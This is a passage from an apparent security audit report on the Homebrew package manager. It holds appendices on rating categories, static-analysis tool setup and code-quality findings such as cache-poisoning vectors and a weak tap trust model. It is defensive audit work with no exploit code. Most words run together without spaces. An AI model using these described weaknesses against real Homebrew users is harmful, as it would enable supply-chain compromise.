signingkeyotherthansharedconvention.Thiscan(butdoesnotalways)becomeasource ofconfusioninsituationswithmultiplekeys,andcan(butdoesnotalways)allowattackers tosubstituteolderkeysorunexpectedverificationmaterials. Onetypicaltechniqueforeliminatingthisdomainseparationistotakeastrong cryptographicdigestofeachpublickey(canonicalizedinsomestandardformat,suchasthe DERencodingofthe subjectPublicKeyInfo representation)andusethatdigestasthe keyidentifier.Thisensuresthatagivenpublickeyhasonlyonetightlyboundidentifier. Recommendations Preventingdomainseparationhereaddressesatheoreticalconcern;wemakenospecific short-ormedium-termrecommendations. Long-term,werecommendthattheHomebrewmaintainersconsiderenforcingthatkey identifiersarestronglyboundtotheirpublickeys,e.g.bydefiningakey’sidentifierasthe SHA-256digestofthekey’sDER-encoded subjectPublicKeyInfo representation(orany otherstable,canonicalrepresentation). hasheye 57HomebrewSecurityAssessment PUBLIC

A.VulnerabilityCategories Thefollowingtablesdescribethevulnerabilitycategories,severitylevels,anddifficulty levelsusedinthisdocument. VulnerabilityCategories CategoryDescription AccessControlsInsufficientauthorizationorassessmentofrights AuditingandLoggingInsufficientauditingofactionsorloggingofproblems AuthenticationImproperidentificationofusers ConfigurationMisconfiguredservers,devices,orsoftwarecomponents CryptographyAbreachofsystemconfidentialityorintegrity DataExposureExposureofsensitiveinformation DataValidationImproperrelianceonthestructureorvaluesofdata DenialofServiceAsystemfailurewithanavailabilityimpact ErrorReportingInsecureorinsufficientreportingoferrorconditions PatchingUseofanoutdatedsoftwarepackageorlibrary SessionManagementImproperidentificationofauthenticatedusers TestingInsufficienttestmethodologyortestcoverage TimingRaceconditionsorotherorder-of-operationsflaws UndefinedBehaviorUndefinedbehaviortriggeredwithinthesystem hasheye 58HomebrewSecurityAssessment PUBLIC

SeverityLevels SeverityDescription InformationalTheissuedoesnotposeanimmediateriskbutisrelevanttosecuritybest practices. UndeterminedTheextentoftheriskwasnotdeterminedduringthisengagement. LowTheriskissmallorisnotonetheclienthasindicatedisimportant. MediumUserinformationisatrisk;exploitationcouldposereputational,legal,or moderatefinancialrisks. HighTheflawcouldaffectnumeroususersandhaveseriousreputational,legal, orfinancialimplications. DifficultyLevels DifficultyDescription UndeterminedThedifficultyofexploitationwasnotdeterminedduringthisengagement. LowTheflawiswellknown;publictoolsforitsexploitationexistorcanbe scripted. MediumAnattackermustwriteanexploitorwillneedin-depthknowledgeofthe system. HighAnattackermusthaveprivilegedaccesstothesystem,mayneedtoknow complextechnicaldetails,ormustdiscoverotherweaknessestoexploitthis issue. hasheye 59HomebrewSecurityAssessment PUBLIC

B.CodeMaturityCategories Thefollowingtablesdescribethecodematuritycategoriesandratingcriteriausedinthis document. CodeMaturityCategories CategoryDescription ArithmeticTheproperuseofmathematicaloperationsandsemantics AuditingTheuseofeventauditingandloggingtosupportmonitoring Authentication/ AccessControls Theuseofrobustaccesscontrolstohandleidentificationand authorizationandtoensuresafeinteractionswiththesystem Complexity Management Thepresenceofclearstructuresdesignedtomanagesystemcomplexity, includingtheseparationofsystemlogicintoclearlydefinedfunctions ConfigurationTheconfigurationofsystemcomponentsinaccordancewithbest practices Cryptographyand KeyManagement Thesafeuseofcryptographicprimitivesandfunctions,alongwiththe presenceofrobustmechanismsforkeygenerationanddistribution DataHandlingThesafehandlingofuserinputsanddataprocessedbythesystem DocumentationThepresenceofcomprehensiveandreadablecodebasedocumentation MaintenanceThetimelymaintenanceofsystemcomponentstomitigaterisk MemorySafety andErrorHandling Thepresenceofmemorysafetyandrobusterror-handlingmechanisms Testingand Verification Thepresenceofrobusttestingprocedures(e.g.,unittests,integration tests,andverificationmethods)andsufficienttestcoverage RatingCriteria RatingDescription StrongNoissueswerefound,andthesystemexceedsindustrystandards. SatisfactoryMinorissueswerefound,butthesystemiscompliantwithbestpractices. ModerateSomeissuesthatmayaffectsystemsafetywerefound. hasheye 60HomebrewSecurityAssessment PUBLIC

WeakManyissuesthataffectsystemsafetywerefound.
MissingArequiredcomponentismissing,significantlyaffectingsystemsafety.
NotApplicableThecategoryisnotapplicabletothisreview.
NotConsideredThecategorywasnotconsideredinthisreview. Further Investigation Required
Furtherinvestigationisrequiredtoreachameaningfulconclusion. hasheye 61HomebrewSecurityAssessment
PUBLIC

C.AutomatedStaticAnalysis
Thisappendixdescribesthesetupoftheautomatedanalysistoolsusedduringthisaudit.
Thoughstaticanalysistoolsfrequentlyreportfalsepositives,theydetectcertaincategories
ofissues,suchasdynamiccodeexecution(e.g.through eval),dangerousserialization
formatsandtheuseofunsafeAPIs,withhighprecision.Werecommendperiodically
runningthesestaticanalysistoolsandreviewingtheirfindings. Semgrep ToinstallSemgrep,weused pip
byrunning python3-mpipinstallsemgrep .
TorunSemgreponthecodebase,weranthefollowingcommandintherootdirectoryof
theproject(runningmultiplepredefinedrulessimultaneouslybyprovidingmultiple --config arguments):
semgrep--configauto TothoroughlyunderstandtheSemgreptoolrefertoourhasheyeTestingHandbook,
whereweaimedtostreamlinetheSemgrepuseandimprovesecuritytestingeffectiveness.
Also,considerdoingthefollowing: • Limitresultstoerrorseverityonlybyusingthe --severityERROR flag. •
Focusfirstonruleswithhighconfidenceandmedium-orhigh-impactmetadata. • UsetheSARIFformat(byusingthe
--sarif Semgrepargument)withtheSARIF
ViewerforVisualStudioCodeextension.Thiswillmakeiteasiertoreviewthe
analysisresultsanddrilldownintospecificissuestounderstandtheirimpactand severity. Actionlint
Toinstallactionlint,weuse go byrunning goinstall github.com/rhysd/actionlint/cmd/actionlint@latest
. Torun actionlint onthecodebase,weranthefollowingcommandintherootdirectory oftheproject.
actionlint actionlint wassetuponthemain brew repobutwasmissinginquiteafewoftheother
reposthatwereinscope,suchas formulae.brew.sh , homebrew-actions ,and homebrew-test-bot . hasheye
62HomebrewSecurityAssessment PUBLIC

D.CodeQualityRecommendations Thisappendixcontainsfindingsthatdonothaveimmediateorobvioussecurity
implications,orwereinitiatedbutnotfullyinvestigatedduetotimeconstraints.
1.Strictervalidationandcontroloverthebottlecache.Thebottlecachecreatedas partofa brewtest-bot
lifecyclehasavarietyofvectorsforcompromise, includingdependenceonapotentiallyattacker-
controllablefile (HOMEBREW_MAINTAINER_JSON)forpermissionvalidation.Similarly,thebottle
cachereliesheavilyon pull_request_target witha labeled sub-filtertoprevent
cachepoisoningviaatamperedworkflow,whichGitHubconsiderssusceptibleto
raceconditions.Finally,thebottlecachedoesnotdetectwhenauserperformsa force-
push,potentiallyenablingsurreptitiousmodificationsofthecachethatdonot
reflectanysourcechangesonthecurrentbranch.Althoughwewereunabletofully
proveoutacachepoisoningvectorduringthisengagement,westrongly
recommendaddressingthesepotentialvectors. 2.Eliminatehand-rolledshell-quotingimplementation. brew
containsa hand-rolledimplementationofshell-quotingforPOSIX-compatibleshells, implementedas sh_quote
under brew/Library/Homebrew/utils/shell.rb .
Thisimplementationissimilarto,butdiffersslightlyfrom,theimplementation
providedbyRuby’sstandardlibrary,under Shellwords::shellescape .Whilewe
wereunabletodetermineanimmediatesecurityimplicationforthis,we
recommendreusingthestandardlibrary’simplementationintheinterestof
minimizingpotentialparserandbehavioraldifferentials. 3.Eliminatemalleabilityin INSTALL_RECEIPT.json
’slocation. brew currently discoversabottle’sembedded INSTALL_RECEIPT.json bysearchingforany
nestedsubdirectorywithafilethatmatches: defreceipt_path(bottle_file)
bottle_file_list(bottle_file).finddo|line| line=~%r{.+/.+/INSTALL_RECEIPT.json} end end
FigureD.1:Installreceiptdiscoveryin brew/Library/Homebrew/utils/bottles.rb
Thismayallowanattackerwiththeabilitytoinsertcontrivedbottlestointroducea phony INSTALL_RECEIPT.json
atanypaththatistwodirectoriesdeep,resulting insubsequentmetadataconfusionwhereverthebottle’s Tab
isloaded.Whilewe wereunabletodetermineanimmediatesecurityimplicationforthis,we
recommendeliminatingthisflexibilityandensuringthateverybottlecontains exactlyone
INSTALL_RECEIPT.json ataspecific,expectedpath. hasheye 63HomebrewSecurityAssessment PUBLIC

4. Defineataptrustpolicy.Becausetapsaretrustedtorunarbitrarycodeand
arbitraryformulae,expectationsaboutwhentheyrunarbitrarycodearecurrently murky:auserwhoperforms
brewtapexample/example mayormaynotexpect
thetapoperationitselftobecapableofrunningarbitrarycode,ofinjectingor overriding brew
subcommands,etc.Asanexampleofthis,wefoundthata third-partytapmaybeabletooverrideinternaland“first-
party”commandsdueto Array#sort notguaranteeingastablesort:
defself.commands(external:true,aliases:false) cmds=internal_commands
cmds+=internal_developer_commands cmds+=external_commandsifexternal

```
cmds+=internal_commands_aliasesifaliases cmds.sort end
```

FigureD.2:Potentiallyunstablesortincommandcollectionin brew/Library/Homebrew/commands.rb hasheye